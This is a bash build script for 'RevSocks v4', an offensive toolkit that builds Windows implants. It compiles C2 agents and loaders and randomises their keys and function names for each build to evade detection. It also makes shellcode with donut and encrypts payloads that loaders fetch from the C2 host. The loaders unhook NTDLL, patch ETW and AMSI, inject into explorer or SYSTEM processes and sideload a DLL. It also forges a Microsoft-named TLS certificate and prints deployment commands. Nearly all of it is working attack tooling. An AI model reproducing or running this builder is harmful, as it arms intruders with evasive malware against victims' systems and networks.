#!/bin/bash
#
# rebuild.sh v4 — RevSocks Polymorphic Build System
#
# Complete polymorphic build pipeline:
#   - Per-build random XOR keys (payload + string encryption)
#   - C2 host, shared secret, download token patched into all sources
#   - Random function names replace POLY_ macros in all loaders
#   - Compiles agent (x64), agent_x86 (x86 if exists), all v4 loaders
#   - Generates shellcode via donut
#   - XOR encrypts all payloads with build-specific 32-byte key
#   - Generates TLS cert if not exists
#   - Configures server.py with secrets
#   - Generates creds.txt if not exists
#   - Prints SHA256 hashes of all outputs
#
# Usage: ./rebuild.sh <C2_IP> [SECRET]
#

set -e

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[1;36m'
NC='\033[0m'

SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
OUTPUT_DIR="${SCRIPT_DIR}/output"
CREDS_FILE="${SCRIPT_DIR}/creds.txt"

C2_IP="${1}"
SECRET="${2:-$(openssl rand -hex 16)}"

if [ -z "$C2_IP" ]; then
    echo -e "${RED}Usage: $0 <C2_IP> [SHARED_SECRET]${NC}"
    echo "  Examples:"
    echo "    ./rebuild.sh 10.10.14.5"
    echo "    ./rebuild.sh 10.10.14.5 my_secret_key_32chars_minimum!!"
    exit 1
fi

# ============================================================
# UNIQUE BUILD PARAMETERS (regenerated every build)
# ============================================================

BUILD_ID="$(openssl rand -hex 4)"
XOR_KEY="$(openssl rand -hex 32)"
DL_TOKEN="$(openssl rand -hex 16)"
STR_XOR_KEY=$((RANDOM % 200 + 30))
STR_XOR_HEX=$(printf '0x%02x' $STR_XOR_KEY)

# Polymorphic function names — replace all POLY_ prefixed identifiers
declare -A POLY_NAMES
POLY_FUNC_LIST=(
    "POLY_xor_key"          "POLY_str_decode"       "POLY_unhook_ntdll"
    "POLY_patch_etw"        "POLY_patch_amsi"       "POLY_sandbox_check"
    "POLY_fetch_payload"    "POLY_find_pid"         "POLY_inject_shellcode"
    "POLY_enable_debug_priv" "POLY_kill_and_wait_wmi"
    "POLY_resolve_api"      "POLY_random_name"      "POLY_worker"
)
for func in "${POLY_FUNC_LIST[@]}"; do
    POLY_NAMES["$func"]="fn_$(openssl rand -hex 4)"
done

# Random sleep jitter values
SLEEP_BASE=$((3000 + RANDOM % 5000))
SLEEP_JITTER=$((500 + RANDOM % 3000))

# ============================================================
# LOAD OR GENERATE SOCKS CREDENTIALS
# ============================================================

if [ -f "$CREDS_FILE" ]; then
    SOCKS_USER=$(cut -d: -f1 "$CREDS_FILE")
    SOCKS_PASS=$(cut -d: -f2- "$CREDS_FILE")
    echo -e "${CYAN}[*] Loaded creds from creds.txt: ${SOCKS_USER}:${SOCKS_PASS}${NC}"
else
    SOCKS_USER="user$(openssl rand -hex 3)"
    SOCKS_PASS="$(openssl rand -hex 12)"
    echo "${SOCKS_USER}:${SOCKS_PASS}" > "$CREDS_FILE"
    echo -e "${CYAN}[*] Generated new creds.txt: ${SOCKS_USER}:${SOCKS_PASS}${NC}"
fi

# ============================================================
# BANNER
# ============================================================

echo ""
echo -e "${GREEN}+=============================================+${NC}"
echo -e "${GREEN}|       REVSOCKS v4 POLYMORPHIC BUILD         |${NC}"
echo -e "${GREEN}+==============================================+${NC}"
echo -e "${GREEN}| C2 IP       : ${C2_IP}${NC}"
echo -e "${GREEN}| Build ID    : ${BUILD_ID}${NC}"
echo -e "${GREEN}| SOCKS       : ${SOCKS_USER}:${SOCKS_PASS}${NC}"
echo -e "${GREEN}| Encrypt     : ChaCha20-Poly1305 (tunnel)${NC}"
echo -e "${GREEN}| Payload XOR : ${XOR_KEY:0:16}...${NC}"
echo -e "${GREEN}| String XOR  : ${STR_XOR_HEX}${NC}"
echo -e "${GREEN}+==============================================+${NC}"
echo ""

mkdir -p "$OUTPUT_DIR" "${OUTPUT_DIR}/shellcode_variants"

# ============================================================
# HELPER: Generate C XOR key array
# ============================================================

gen_c_key_array() {
    local key_hex="$1"
    local var_name="${2:-key}"
    echo -n "static volatile unsigned char ${var_name}[32] = {"
    for i in $(seq 0 2 62); do
        [ $i -gt 0 ] && echo -n ","
        echo -n "0x${key_hex:$i:2}"
    done
    echo "};"
}

# ============================================================
# HELPER: XOR-encode a string to C array
# ============================================================

gen_xor_string() {
    local plaintext="$1"
    local xor_key_byte="$2"
    python3 -c "
s = '${plaintext}'
k = ${xor_key_byte}
enc = ','.join([hex(ord(c) ^ k) for c in s])
print(f'{enc},0x00')
print(f'{len(s)}')
"
}

# ============================================================
# HELPER: Apply POLY_ name replacements to a file
# ============================================================

apply_poly_names() {
    local file="$1"
    for func in "${!POLY_NAMES[@]}"; do
        sed -i "s/${func}/${POLY_NAMES[$func]}/g" "$file"
    done
}

# ============================================================
# HELPER: Patch XOR key, URL, strings into a loader source
# ============================================================

patch_loader_source() {
    local srcfile="$1"
    local url="$2"

    # Generate encrypted URL
    local url_data
    url_data=$(gen_xor_string "$url" "$STR_XOR_KEY")
    local url_bytes
    url_bytes=$(echo "$url_data" | head -1)
    local url_len
    url_len=$(echo "$url_data" | tail -1)

    # Patch C2 IP (for sources still using CHANGEME_IP directly)
    sed -i "s/CHANGEME_IP/${C2_IP}/g" "$srcfile"
    sed -i "s/CHANGEME_TOKEN/${DL_TOKEN}/g" "$srcfile"

    # Replace the XOR key array
    local new_key
    new_key=$(gen_c_key_array "$XOR_KEY" "${POLY_NAMES[POLY_xor_key]:-POLY_xor_key}")
    python3 << PYEOF
import re
with open('${srcfile}', 'r') as f:
    src = f.read()

# Replace volatile unsigned char POLY_xor_key[32] = {...};
# Match any variable name that was the xor key array
pattern = r'static volatile unsigned char \w+\[32\]\s*=\s*\{[^}]+\};'
replacement = '${new_key}'
src = re.sub(pattern, replacement, src, count=1)

# Replace enc_url array
url_pattern = r'(static (?:unsigned )?char enc_url\[\]\s*=\s*\{)[^}]+(};)'
url_replacement = r'\g<1>${url_bytes}\g<2>'
src = re.sub(url_pattern, url_replacement, src)

# Replace enc_url_len
src = re.sub(r'static int enc_url_len\s*=\s*\d+;', 'static int enc_url_len = ${url_len};', src)

# Replace STR_XOR_KEY / SK define
src = re.sub(r'#define STR_XOR_KEY\s+0x[0-9a-fA-F]+', '#define STR_XOR_KEY ${STR_XOR_HEX}', src)
src = re.sub(r'#define SK\s+0x[0-9a-fA-F]+', '#define SK ${STR_XOR_HEX}', src)

# Replace sleep timing values
src = re.sub(r'Sleep\(3500 \+', 'Sleep(${SLEEP_BASE} +', src, count=1)
src = re.sub(r'if \(\(t2 - t1\) < 3000\)', 'if ((t2 - t1) < ${SLEEP_BASE} - 500)', src, count=1)

with open('${srcfile}', 'w') as f:
    f.write(src)
PYEOF

    # Apply polymorphic function name replacements
    apply_poly_names "$srcfile"
}

# ============================================================
# GENERATE TLS CERTIFICATE
# ============================================================

if [ ! -f "${OUTPUT_DIR}/server.crt" ]; then
    echo -e "${YELLOW}[*] Generating TLS certificate...${NC}"
    openssl req -x509 -newkey rsa:2048 \
        -keyout "${OUTPUT_DIR}/server.key" \
        -out "${OUTPUT_DIR}/server.crt" \
        -days 3650 -nodes \
        -subj "/CN=microsoft.com/O=Microsoft Corporation/L=Redmond/ST=Washington/C=US" \
        2>/dev/null
    echo -e "${GREEN}[+] TLS cert generated (CN=microsoft.com)${NC}"
else
    echo -e "${CYAN}[*] TLS cert exists — skipping${NC}"
fi

# ============================================================
# COMPILE AGENT (x64)
# ============================================================

if [ -f "${SCRIPT_DIR}/client/agent.c" ]; then
    echo -e "${YELLOW}[*] Compiling agent x64 (ChaCha20)...${NC}"
    cp "${SCRIPT_DIR}/client/agent.c" "/tmp/agent_build_${BUILD_ID}.c"
    sed -i "s/CHANGEME_IP/${C2_IP}/g" "/tmp/agent_build_${BUILD_ID}.c"
    sed -i "s/CHANGE_THIS_SECRET_KEY_32_CHARX/${SECRET}/g" "/tmp/agent_build_${BUILD_ID}.c"

    x86_64-w64-mingw32-gcc -O2 -s -mwindows \
        -o "${OUTPUT_DIR}/agent.exe" "/tmp/agent_build_${BUILD_ID}.c" \
        -lws2_32 -lkernel32 -luser32 -lsecur32 -lcrypt32 2>/dev/null && \
        echo -e "${GREEN}[+] agent.exe (x64, ChaCha20)${NC}" || \
        echo -e "${RED}[-] agent.exe compilation failed${NC}"
else
    echo -e "${YELLOW}[!] client/agent.c not found — skipping agent build${NC}"
fi

# ============================================================
# COMPILE AGENT (x86, if exists)
# ============================================================

if [ -f "${SCRIPT_DIR}/client/agent_x86.c" ]; then
    echo -e "${YELLOW}[*] Compiling agent x86...${NC}"
    cp "${SCRIPT_DIR}/client/agent_x86.c" "/tmp/agent_x86_build_${BUILD_ID}.c"
    sed -i "s/CHANGEME_IP/${C2_IP}/g" "/tmp/agent_x86_build_${BUILD_ID}.c"
    sed -i "s/CHANGE_THIS_SECRET_KEY_32_CHARX/${SECRET}/g" "/tmp/agent_x86_build_${BUILD_ID}.c"

    i686-w64-mingw32-gcc -O2 -s -mwindows \
        -o "${OUTPUT_DIR}/agent_x86.exe" "/tmp/agent_x86_build_${BUILD_ID}.c" \
        -lws2_32 -lkernel32 -luser32 -lsecur32 -lcrypt32 2>/dev/null && \
        echo -e "${GREEN}[+] agent_x86.exe (x86, ChaCha20)${NC}" || \
        echo -e "${YELLOW}[!] agent_x86.exe skipped (x86 compiler or build issue)${NC}"
fi

# ============================================================
# GENERATE DONUT SHELLCODE
# ============================================================

echo -e "${YELLOW}[*] Generating shellcode (donut)...${NC}"
if command -v donut &>/dev/null && [ -f "${OUTPUT_DIR}/agent.exe" ]; then
    for i in 1 2 3 4 5; do
        donut -f 1 -a 2 -e 3 -i "${OUTPUT_DIR}/agent.exe" \
            -o "${OUTPUT_DIR}/shellcode_variants/sc_${i}.bin" 2>/dev/null
    done
    cp "${OUTPUT_DIR}/shellcode_variants/sc_1.bin" "${OUTPUT_DIR}/agent_sc.bin" 2>/dev/null
    echo -e "${GREEN}[+] agent_sc.bin (5 unique donut variants)${NC}"
else
    echo -e "${YELLOW}[!] donut not found or agent.exe missing — shellcode generation skipped${NC}"
    echo -e "${YELLOW}    Install: git clone https://github.com/TheWover/donut && cd donut && make && cp donut /usr/local/bin/${NC}"
fi

# ============================================================
# XOR ENCRYPT ALL PAYLOADS
# ============================================================

echo -e "${YELLOW}[*] Encrypting payloads (key: ${XOR_KEY:0:16}...)...${NC}"
python3 << PYEOF
import os

key = bytes.fromhex('${XOR_KEY}')

def xor_encrypt(inpath, outpath):
    if not os.path.exists(inpath):
        return 0
    with open(inpath, 'rb') as f:
        data = bytearray(f.read())
    for i in range(len(data)):
        data[i] ^= key[i % 32]
    with open(outpath, 'wb') as f:
        f.write(data)
    return len(data)

# Encrypt agent.exe -> agent.enc
sz = xor_encrypt('${OUTPUT_DIR}/agent.exe', '${OUTPUT_DIR}/agent.enc')
if sz: print(f'  agent.enc: {sz} bytes')

# Encrypt agent_x86.exe -> agent_x86.enc (if exists)
sz = xor_encrypt('${OUTPUT_DIR}/agent_x86.exe', '${OUTPUT_DIR}/agent_x86.enc')
if sz: print(f'  agent_x86.enc: {sz} bytes')

# Encrypt shellcode -> agent_sc.enc
sz = xor_encrypt('${OUTPUT_DIR}/agent_sc.bin', '${OUTPUT_DIR}/agent_sc.enc')
if sz: print(f'  agent_sc.enc: {sz} bytes')
PYEOF

# ============================================================
# COMPILE VERSION RESOURCE
# ============================================================

echo -e "${YELLOW}[*] Compiling PE version resource...${NC}"
if [ -f "${SCRIPT_DIR}/loader/version.rc" ]; then
    x86_64-w64-mingw32-windres "${SCRIPT_DIR}/loader/version.rc" \
        -o "/tmp/version_res_${BUILD_ID}.o" 2>/dev/null && \
        echo -e "${GREEN}[+] version resource compiled${NC}" || \
        echo -e "${YELLOW}[!] windres failed — loaders will lack version info${NC}"
else
    echo -e "${YELLOW}[!] version.rc not found — skipping resource compilation${NC}"
fi

VERSION_RES="/tmp/version_res_${BUILD_ID}.o"
[ ! -f "$VERSION_RES" ] && VERSION_RES=""

# ============================================================
# COMPILE LOADERS
# ============================================================

echo -e "${YELLOW}[*] Compiling polymorphic loaders...${NC}"

SC_URL="https://${C2_IP}:443/dl/${DL_TOKEN}/agent_sc.enc"
ENC_URL="https://${C2_IP}:443/dl/${DL_TOKEN}/agent.enc"

# --- inject_explorer.c (fileless, user-level) ---
if [ -f "${SCRIPT_DIR}/loader/inject_explorer.c" ]; then
    cp "${SCRIPT_DIR}/loader/inject_explorer.c" "/tmp/ie_${BUILD_ID}.c"
    patch_loader_source "/tmp/ie_${BUILD_ID}.c" "$SC_URL"

    EXTRA_OBJ=""
    [ -n "$VERSION_RES" ] && EXTRA_OBJ="$VERSION_RES"

    x86_64-w64-mingw32-gcc -O2 -s -mwindows \
        -o "${OUTPUT_DIR}/inject_explorer.exe" "/tmp/ie_${BUILD_ID}.c" \
        $EXTRA_OBJ -lwininet 2>/dev/null && \
        echo -e "${GREEN}[+] inject_explorer.exe (fileless, user, NTDLL unhook, ETW+AMSI patch, NtCreateThreadEx)${NC}" || \
        echo -e "${RED}[-] inject_explorer.exe compilation failed${NC}"
fi

# --- inject_system.c (fileless, SYSTEM-level) ---
if [ -f "${SCRIPT_DIR}/loader/inject_system.c" ]; then
    cp "${SCRIPT_DIR}/loader/inject_system.c" "/tmp/is_${BUILD_ID}.c"
    patch_loader_source "/tmp/is_${BUILD_ID}.c" "$SC_URL"

    EXTRA_OBJ=""
    [ -n "$VERSION_RES" ] && EXTRA_OBJ="$VERSION_RES"

    x86_64-w64-mingw32-gcc -O2 -s -mwindows \
        -o "${OUTPUT_DIR}/inject_system.exe" "/tmp/is_${BUILD_ID}.c" \
        $EXTRA_OBJ -lwininet -ladvapi32 2>/dev/null && \
        echo -e "${GREEN}[+] inject_system.exe (fileless, SYSTEM, SeDebugPriv, WmiPrvSE kill+inject)${NC}" || \
        echo -e "${RED}[-] inject_system.exe compilation failed${NC}"
fi

# --- sideload_dll.c (colorui.dll for colorcpl.exe) ---
if [ -f "${SCRIPT_DIR}/loader/sideload_dll.c" ]; then
    cp "${SCRIPT_DIR}/loader/sideload_dll.c" "/tmp/sd_${BUILD_ID}.c"

    # Sideload uses agent.enc (full PE), not shellcode
    patch_loader_source "/tmp/sd_${BUILD_ID}.c" "$ENC_URL"

    # Also re-encode the helper strings (wininet.dll, ntdll.dll, kernel32.dll) with new SK
    python3 << SDEOF
import re

with open('/tmp/sd_${BUILD_ID}.c', 'r') as f:
    src = f.read()

sk = ${STR_XOR_KEY}

def encode_str(s):
    enc = ','.join([hex(ord(c) ^ sk) for c in s])
    return enc + ',0x00'

# wininet.dll
wini = encode_str('wininet.dll')
src = re.sub(
    r'(static char enc_wini\[\]\s*=\s*\{)[^}]+(};)',
    r'\g<1>' + wini + r'\g<2>', src)
src = re.sub(r'static int enc_wini_len\s*=\s*\d+;', f'static int enc_wini_len = {len("wininet.dll")};', src)

# ntdll.dll
ntd = encode_str('ntdll.dll')
src = re.sub(
    r'(static char enc_ntd\[\]\s*=\s*\{)[^}]+(};)',
    r'\g<1>' + ntd + r'\g<2>', src)
src = re.sub(r'static int enc_ntd_len\s*=\s*\d+;', f'static int enc_ntd_len = {len("ntdll.dll")};', src)

# kernel32.dll
k32 = encode_str('kernel32.dll')
src = re.sub(
    r'(static char enc_k32\[\]\s*=\s*\{)[^}]+(};)',
    r'\g<1>' + k32 + r'\g<2>', src)
src = re.sub(r'static int enc_k32_len\s*=\s*\d+;', f'static int enc_k32_len = {len("kernel32.dll")};', src)

with open('/tmp/sd_${BUILD_ID}.c', 'w') as f:
    f.write(src)
SDEOF

    x86_64-w64-mingw32-gcc -shared -O2 -s \
        -o "${OUTPUT_DIR}/colorui.dll" "/tmp/sd_${BUILD_ID}.c" \
        -lwininet 2>/dev/null && \
        echo -e "${GREEN}[+] colorui.dll (DLL sideload for colorcpl.exe, dynamic API, ETW patch)${NC}" || \
        echo -e "${RED}[-] colorui.dll compilation failed${NC}"
fi

# --- Legacy loaders (v1/v2 if present) ---
if [ -f "${SCRIPT_DIR}/loader/loader_v1.c" ]; then
    cp "${SCRIPT_DIR}/loader/loader_v1.c" "/tmp/lv1_${BUILD_ID}.c"
    sed -i "s/CHANGEME_IP/${C2_IP}/g" "/tmp/lv1_${BUILD_ID}.c"
    sed -i "s/CHANGEME_TOKEN/${DL_TOKEN}/g" "/tmp/lv1_${BUILD_ID}.c"
    x86_64-w64-mingw32-gcc -O2 -s -mwindows \
        -o "${OUTPUT_DIR}/loader_v1.exe" "/tmp/lv1_${BUILD_ID}.c" \
        -lwininet 2>/dev/null && \
        echo -e "${GREEN}[+] loader_v1.exe (plain, disk)${NC}" || true
fi

if [ -f "${SCRIPT_DIR}/loader/loader_v2.c" ]; then
    cp "${SCRIPT_DIR}/loader/loader_v2.c" "/tmp/lv2_${BUILD_ID}.c"
    sed -i "s/CHANGEME_IP/${C2_IP}/g" "/tmp/lv2_${BUILD_ID}.c"
    sed -i "s/CHANGEME_TOKEN/${DL_TOKEN}/g" "/tmp/lv2_${BUILD_ID}.c"
    # Patch XOR key in v2 loader
    python3 -c "
key_hex='${XOR_KEY}'
with open('/tmp/lv2_${BUILD_ID}.c','r') as f: src=f.read()
import re
old=r'key\[0\]=0xde.*?key\[31\]=0x56;'
new=';'.join([f'key[{i}]=0x{key_hex[i*2:i*2+2]}' for i in range(32)])+';'
src=re.sub(old, new, src, flags=re.DOTALL)
with open('/tmp/lv2_${BUILD_ID}.c','w') as f: f.write(src)
" 2>/dev/null || true
    x86_64-w64-mingw32-gcc -O2 -s -mwindows \
        -o "${OUTPUT_DIR}/loader_v2.exe" "/tmp/lv2_${BUILD_ID}.c" \
        -lwininet 2>/dev/null && \
        echo -e "${GREEN}[+] loader_v2.exe (encrypted, disk)${NC}" || true
fi

# ============================================================
# CONFIGURE SERVER
# ============================================================

echo -e "${YELLOW}[*] Configuring server.py...${NC}"
if [ -f "${SCRIPT_DIR}/server/server.py" ]; then
    sed -e "s/CHANGE_THIS_SECRET_KEY_32_CHARX/${SECRET}/g" \
        -e "s/SOCKS_USER = \"admin\"/SOCKS_USER = \"${SOCKS_USER}\"/g" \
        -e "s/SOCKS_PASS = \"CHANGE_THIS_PASSWORD\"/SOCKS_PASS = \"${SOCKS_PASS}\"/g" \
        -e "s/8a3b4c2fddc7e1f9c96f965181ba1573/${DL_TOKEN}/g" \
        "${SCRIPT_DIR}/server/server.py" > "${OUTPUT_DIR}/server.py"
    echo -e "${GREEN}[+] server.py configured${NC}"
else
    echo -e "${YELLOW}[!] server/server.py not found — skipping${NC}"
fi

# Copy creds to output
cp "$CREDS_FILE" "${OUTPUT_DIR}/creds.txt" 2>/dev/null

# ============================================================
# GENERATE REGENERATE SCRIPT
# ============================================================

cat > "${OUTPUT_DIR}/regenerate.sh" << REGEN_EOF
#!/bin/bash
# Quick regenerate (same IP/secret, new polymorphic build)
cd "${SCRIPT_DIR}" && ./rebuild.sh ${C2_IP} ${SECRET}
REGEN_EOF
chmod +x "${OUTPUT_DIR}/regenerate.sh"

# ============================================================
# SAVE BUILD CONFIG
# ============================================================

cat > "${OUTPUT_DIR}/config.txt" << EOF
# RevSocks v4 Build: ${BUILD_ID}
# Generated: $(date -u)
# DELETE THIS FILE AFTER DEPLOYMENT

c2_ip           = ${C2_IP}
shared_secret   = ${SECRET}
socks_user      = ${SOCKS_USER}
socks_pass      = ${SOCKS_PASS}
xor_key         = ${XOR_KEY}
str_xor_key     = ${STR_XOR_HEX}
download_token  = ${DL_TOKEN}
encryption      = ChaCha20-Poly1305
socks_ports     = 51222-52222

# DEPLOY:
#   tmux new -s rs 'cd output && python3 server.py'
#
# USE:
#   curl --socks5 ${SOCKS_USER}:${SOCKS_PASS}@127.0.0.1:51222 http://target
#
# PAYLOAD URLS (served by server.py on :443):
#   Shellcode:  https://${C2_IP}:443/dl/${DL_TOKEN}/agent_sc.enc
#   Agent EXE:  https://${C2_IP}:443/dl/${DL_TOKEN}/agent.enc
EOF

# ============================================================
# CLEANUP TEMP FILES
# ============================================================

rm -f /tmp/agent_build_${BUILD_ID}.c \
      /tmp/agent_x86_build_${BUILD_ID}.c \
      /tmp/ie_${BUILD_ID}.c \
      /tmp/is_${BUILD_ID}.c \
      /tmp/sd_${BUILD_ID}.c \
      /tmp/lv1_${BUILD_ID}.c \
      /tmp/lv2_${BUILD_ID}.c \
      /tmp/version_res_${BUILD_ID}.o

# ============================================================
# SHA256 HASHES
# ============================================================

echo ""
echo -e "${YELLOW}[*] SHA256 hashes:${NC}"
for f in agent.exe agent_x86.exe agent_sc.bin agent.enc agent_x86.enc agent_sc.enc \
         inject_explorer.exe inject_system.exe colorui.dll loader_v1.exe loader_v2.exe; do
    if [ -f "${OUTPUT_DIR}/${f}" ]; then
        HASH=$(sha256sum "${OUTPUT_DIR}/${f}" | cut -d' ' -f1)
        SIZE=$(stat -c%s "${OUTPUT_DIR}/${f}" 2>/dev/null || echo "?")
        echo -e "  ${HASH}  ${f} (${SIZE} bytes)"
    fi
done

# ============================================================
# SUMMARY
# ============================================================

echo ""
echo -e "${GREEN}+==============================================+${NC}"
echo -e "${GREEN}|          BUILD v4 COMPLETE                   |${NC}"
echo -e "${GREEN}+==============================================+${NC}"
echo -e "${GREEN}|                                              |${NC}"
echo -e "${GREEN}|  FILELESS INJECTORS (v4):                    |${NC}"
echo -e "${GREEN}|    inject_explorer.exe                       |${NC}"
echo -e "${GREEN}|      User-level, NTDLL unhook, ETW+AMSI     |${NC}"
echo -e "${GREEN}|      NtCreateThreadEx, anti-sandbox          |${NC}"
echo -e "${GREEN}|    inject_system.exe                         |${NC}"
echo -e "${GREEN}|      SYSTEM-level, SeDebugPriv               |${NC}"
echo -e "${GREEN}|      WmiPrvSE kill+wait, fallback spoolsv    |${NC}"
echo -e "${GREEN}|                                              |${NC}"
echo -e "${GREEN}|  DLL SIDELOAD (v4):                          |${NC}"
echo -e "${GREEN}|    colorui.dll                               |${NC}"
echo -e "${GREEN}|      Dynamic API, ETW patch, colorcpl.exe    |${NC}"
echo -e "${GREEN}|                                              |${NC}"
echo -e "${GREEN}|  LEGACY (v3):                                |${NC}"
echo -e "${GREEN}|    loader_v1.exe  (plain, disk)              |${NC}"
echo -e "${GREEN}|    loader_v2.exe  (encrypted, disk)          |${NC}"
echo -e "${GREEN}|                                              |${NC}"
echo -e "${GREEN}+==============================================+${NC}"
echo -e "${GREEN}|  Encryption : ChaCha20-Poly1305              |${NC}"
echo -e "${GREEN}|  SOCKS5     : ${SOCKS_USER}:${SOCKS_PASS}${NC}"
echo -e "${GREEN}|  Build ID   : ${BUILD_ID}${NC}"
echo -e "${GREEN}+==============================================+${NC}"
echo ""
echo -e "${CYAN}DEPLOY:${NC}"
echo "  tmux new -s rs 'cd ${OUTPUT_DIR} && python3 server.py'"
echo ""
echo -e "${CYAN}REBUILD (polymorphic, new hashes):${NC}"
echo "  ./rebuild.sh ${C2_IP}"
echo ""
echo -e "${CYAN}No separate file server needed — payloads served via port 443 with secret token${NC}"
